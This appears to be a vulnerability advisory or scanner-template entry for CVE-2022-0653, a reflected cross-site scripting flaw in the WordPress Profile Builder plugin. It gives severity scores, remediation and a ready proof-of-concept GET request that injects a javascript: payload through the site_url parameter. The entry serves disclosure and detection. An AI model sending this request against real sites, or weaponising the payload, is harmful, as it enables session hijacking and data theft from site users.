| Title | Wordpress Profile Builder Plugin Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to version 3.6.5 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0565 |
| CVE ID | CVE-2022-0653 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress xss wp-plugin cozmoslabs vkev vuln |
The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..
GET /wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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